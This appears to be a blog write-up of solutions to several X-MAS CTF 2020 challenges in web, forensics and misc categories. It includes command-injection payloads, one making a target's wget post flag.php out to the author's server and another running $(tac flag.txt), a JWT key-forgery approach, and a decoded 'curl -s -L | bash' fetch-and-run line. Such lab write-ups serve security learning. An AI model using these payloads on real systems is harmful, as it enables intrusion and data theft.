arrow-left arrow-right brightness-2 chevron-left chevron-right circle-half-full dots-horizontal facebook-box facebook loader magnify menu-down rss-box star twitter-box twitter white-balance-sunny window-close
Solving random challenges in X-MAS Capture the Flag
11 min read

Solving random challenges in X-MAS Capture the Flag

Solving random challenges in X-MAS Capture the Flag

X-MAS Capture the Flag is a Capture The Flag competition organized by HTsP. Every year, they prepare set of challenges from a diverse range of categories such as cryptography, web exploitation, forensics, reverse engineering, binary exploitation, hardware, algorithmics and more!

For this blog, I will write about my solutions in solving random challenges at X-MAS CTF 2020.

Solved Web Challenges:

  • PHP Master (WEB)
  • Gnome's Buttons v4 (WEB)
  • flag_checker (WEB)
  • X-MAS Chan (WEB)

Solved Forensic Challenges

  • Conversation (FORENSICS)
  • santass (FORESINCS)
  • The Cat (FORENSICS)

Solved Misc Challenges

  • Complaint (MISC)
  • Bobi's Whacked (MISC)

PHP Master (WEB)

Figure 1. PHP Master Challenge

Visiting the target brings you to a problem written in PHP programming language.

Figure 2. PHP Master Code

Two parameters must be passed as arguments to the target website and you need to bypass the if statement before you get the flag. Here are the following checks that you need to bypass:

  • Both parameters must not contain e character
  • Both parameters must be the same length
  • The parameters must not be equal value - including the type
  • The first parameter's first character must not equal to 0
  • Both parameters must be equal - excluding the type

To solve the challenge, I set the param1 value to 1337.0 while the param2 value must be equal to 001337.


Flag: X-MAS{s0_php_m4ny_skillz-69acb43810ed4c42}

Gnome's Buttons v4 (WEB)

Figure 15. Gnome's Buttons v4 challenge

We're given a site with a lot of buttons and different languages.

Figure 16. Challenge website

The search field is not working but clicking the button beside it will change the language of the website.

The 3 buttons below are disabled.

The main blue button will also change the language of the website but clicking it multiple times will enable one of the button below.

Figure 17. German language with enabled button

Clicking the green button will append a parameter with value start=1 in the URL address.

Clicking the green button again will append another parameter with value role=user in the URL address.

Current URL is now

Figure 18. New button welcomes user

The target website spawn another container with different message and a new button.

The container welcomes the user with a message written in Dutch and translating it will give us a hint:

Looks like you didn't get off to the right start ... keep that in mind!

From that given hint, we need to change the value of start parameter. I also noticed that there's a year range in the footer section 2020 - 2077. Changing the value of start parameter from 1 to 2020 will give us a new message.

Figure 19. New button with new message

The message is again written in Dutch language and translating it will give us this message: Welcome to the factory! Feel free to post anything..

The green button in that container also gives us another parameter which is the same with the previous parameter.

I thought it was just an error but later we will be using it to solve the problem.

So going back to the main URL, I changed the value of role parameter from user to admin and it gave us another hint.

Figure 20. New hint

The message/hint is in German language and translating it will give us this message: NOT ALLOWED! The real administrator will be notified of this incident.

Viewing the source code of that container will give us a filename.

Figure 21. Hidden Filename

The filename whitepaper-bhEU2011.pdf is referencing a whitepaper by Marco Balduzzi a.k.a embyte about HTTP Parameter Pollution.

From that hint, we can now retrieve the flag for this challenge by polluting the role parameter with user and admin as values.

The final URL is

Figure 22. Admin panel

Flag: X-MAS{idontwannafindbugsintheamericanlanguageanymore}

flag_checker (WEB)

Figure 23. flag_checker challenge

Visiting the target link will bring us to a page with PHP source code.

/* flag_checker */

if(!isset($_GET['flag'])) {

function checkFlag($flag) {
    $example_flag = strtolower('FAKE-X-MAS{d1s_i\$_a_SaMpL3_Fl4g_n0t_Th3_c0Rr3c7_one_karen_l1k3s_HuMu5.0123456789}');
    $valid = true;
    for($i = 0; $i < strlen($flag) && $valid; $i++)
        if(strpos($example_flag, strtolower($flag[$i])) === false) $valid = false;
    return $valid;

function getFlag($flag) {
    $command = "wget -q -O -" . $flag;
    $cmd_output = array();
    exec($command, $cmd_output);
    if(count($cmd_output) == 0) {
        echo 'Nope';
    } else {
        echo 'Maybe';

$flag  = $_GET['flag'];
if(!checkFlag($flag)) {
    die('That is not a correct flag!');


The user can supply an input to flag parameter and pass it to checkFlag and getFlag function.

To pass the checkFlag function, the user can only use the characters on the $example_flag, otherwise the valid variable will return false.

In getFlag function, we can clearly see that we could inject a command injection payload but the problem is the code block will only return 2 results - Nope and Maybe.

In order to get the flag, I had to perform 2 things:
1. Create a payload that will send a request to my server and the payload must pass the checkFlag function.

2. Setup an AWS EC2 instance and use tcpdump to get the traffic coming from the challenge website.

For #1, I searched for a way to instruct the target website to send a request to my server and I found the --post-file in this report:

Then reviewing the permitted characters in example_flag, we can use the $, {, }, ., -, 0-9 and follow the bypass filter on this page: Injection#bypass-without-space.

Final Payload is ${IFS}--post-file${IFS}flag.php${IFS}

If we append the payload to the wget command in the PHP source code, it should be like this:

wget -q -O - --post-file flag.php

For #2, I executed a command that will monitor the traffic coming to my server.

Flag: X-MAS{s0_fL4g_M4ny_IFS_bb69cd55f5f6}

X-MAS Chan (WEB)

Visiting the target brings you to a a cool page:

Clicking /b/ will redirect you to this page:

After trying to upload different file, I found out that only file extensions such as, png, jpg, and gif are allowed.

Name, Email, Subject and Comment are also being escaped or sanitized.

After spending too much time, I noticed that the image/banner at the top of the page is based on the JWT and being generated by getbanner.php page.

Decoding the JWT from the cookie will give us clear idea about the token.

Three things I noticed in the token:

  1. The value of banner is being called/fetched from the server.
  2. You cannot easily modify the value of banner to flag.php because the token is using HS256 algorithm.
  3. You also need the secret key to sign the JWT.

After reading many writeups, I learned that the content of the file in kid is being used as a secret key to sign the JWT.

So the first thing I did was to upload a simple image and copied the path of the uploaded image.

I then wrote a simple python script (based on this documentation) that will generate a JWT that is signed by the uploaded image.

Sending a GET request to /getbanner.php with the generated JWT will give us the flag.

Flag: X-MAS{n3v3r_trust_y0ur_us3rs_k1ds-b72dcf5a49498400}

Conversation (FORENSICS)

We are given logs.pcapng which is a file that contains a dump of data packets captured over a network.

Using the Wireshark tool, we can see that most of the packets in the capture data is comprised of TCP.

Using tshark command line tool, we can see that most traffic is being sent to port 80 and 443 then there's one unique port in the middle which is port 4444.

Filtering the packets by tcp port 4444, we can easily see the secret conversation from the employees.

The secret conversation mentioned rot13 and the encrypted data looks like base64, so after first rot13ing the data then decoding it we get the flag.

Flag: X-MAS{Anna_from_marketing_has_a_new_boyfriend-da817c7129916751}

santass (FORENSICS)

We are given santass.pcapng which is a file that contains a dump of data packets captured over a network.

Using the Wireshark tool, I checked the content of HTTP object list and  noticed the suspicious file names Z2d3a.jpg, XJlc2.jpg, and hhcms.jpg.

Concatenating these 3 file name will give us Z2d3aXJlc2hhcms and converting it with base64 will give us ggwireshark.

Flag: X-MAS{ggwireshark}


We are given logs.pcapng which is a file that contains a dump of data packets captured over a network.

Checking the Protocol Hierarchy Statistics of the file, we can see that there's a huge traffic with TLS protocol.

While checking the list of ports using tshark, I noticed that there are 3 suspicious ports, 4444, 1337, and 1338.

Checking port 1337 will give us a base64 cipher text.

Decoding it with base64 will give us a public and private key of a certificate.

Checking 1338, will give us the a list of secret keys?

I copied it and saved it to use it for next steps. I also made a separate file for SSL private key.

Then I configured the TLS by importing the secret log and private key. This will help us decrypt the encrypted packets for port 4444.

After configuring TLS, I quickly search for Port 4444's traffic and discovered a ZIP file.

To export the zip file, I saved the entire packet into a RAW format and used binwalk to properly get the ZIP file.

Flag: X-MAS{yeah_nyan_is_cool_but_have_you_ever_Y3VybCAtcyAtTCBiaXQubHkvMTBoQThpQyB8IGJhc2gK-ea8f6adb7605962d}

Decoded text of the base64 string is: curl -s -L | bash. Run it.


In this challenge, bobi gave us a big file compressed in .zip format. Inside the file is a memory dump.

Using volatility, I executed normal commands such as imageinfo to determine what profile should I use. Then using filescan, I noticed that there's a test.txt file inside the Desktop of a user named Johnbi.

Then running python -f ../XMAS/destroyed.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000007e9e91b0 -D . will give us the .dat file of test.txt.

Converting the content from hex to ASCII will give us the flag.

Flag: X-MAS{thanksfordumpingbro}

Complaint (MISC)

In this challenge, the description says they're redirecting the complaint to /dev/null. Tring out the challenge will greet us a question and echo back our input.

We can assume the command is something like this: echo complaint > /dev/null which means every string you send will be discarded, forgotten into the void.

To solve this challenge, you need to bypass the it by inserting a command to get the contents of flag.txt.

Payload: $(tac flag.txt);

Flag: X-MAS{h3ll0_k4r3n-8819d787dd38a397}

Bobi's Whacked (MISC)

For this challenge, since it is under the misc category, it could be an OSINT-type challenge wherein we will use the author's information to find the flag.

The author of this challenge is Bobi which is a friend of mine who is currently based in Romania. His real name is Vlad Toie and he recently started publishing write ups and vlogs about infosec.

His YouTube channel is Visiting the about section will give us a hex-encoded string and decoding it will give us the word: middlepart.

In YouTube, creators can insert a text inside the video and they call it "Closed Caption or Subtitle" and it could be located in the middle part of the video. In the home section of his profile, we can easily notice that there are 2 videos with enabled Closed Caption.

Figure 13. Videos with enabled Closed Caption

So to solve this challenge and avoid watching the whole video (haha), we can extract the text from video using the timedtext API endpoint of YouTube.

Next step is to concatenate all the strings including the middle part.

X-MAS{nice_thisisjustthefirstpart + middlepart + _congrats}

Flag: X-MAS{nice_thisisjustthefirstpartmiddlepart_congrats}